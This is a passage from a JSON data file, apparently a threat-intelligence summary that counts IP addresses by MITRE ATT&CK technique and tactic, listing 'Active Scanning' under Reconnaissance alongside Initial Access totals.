        "sample_ports": []
      },
      "T1595": {
        "name": "Active Scanning",
        "tactic": "Reconnaissance",
        "ip_count": 1666,
        "sample_ports": []
      }
    },
    "tactic_summary": {
      "Initial Access": 1666,
      "Reconnaissance": 1666
    },
    "technique_count": 2,
    "primary_tactics": [
      "Initial Access",
      "Reconnaissance"
    ]
  }
}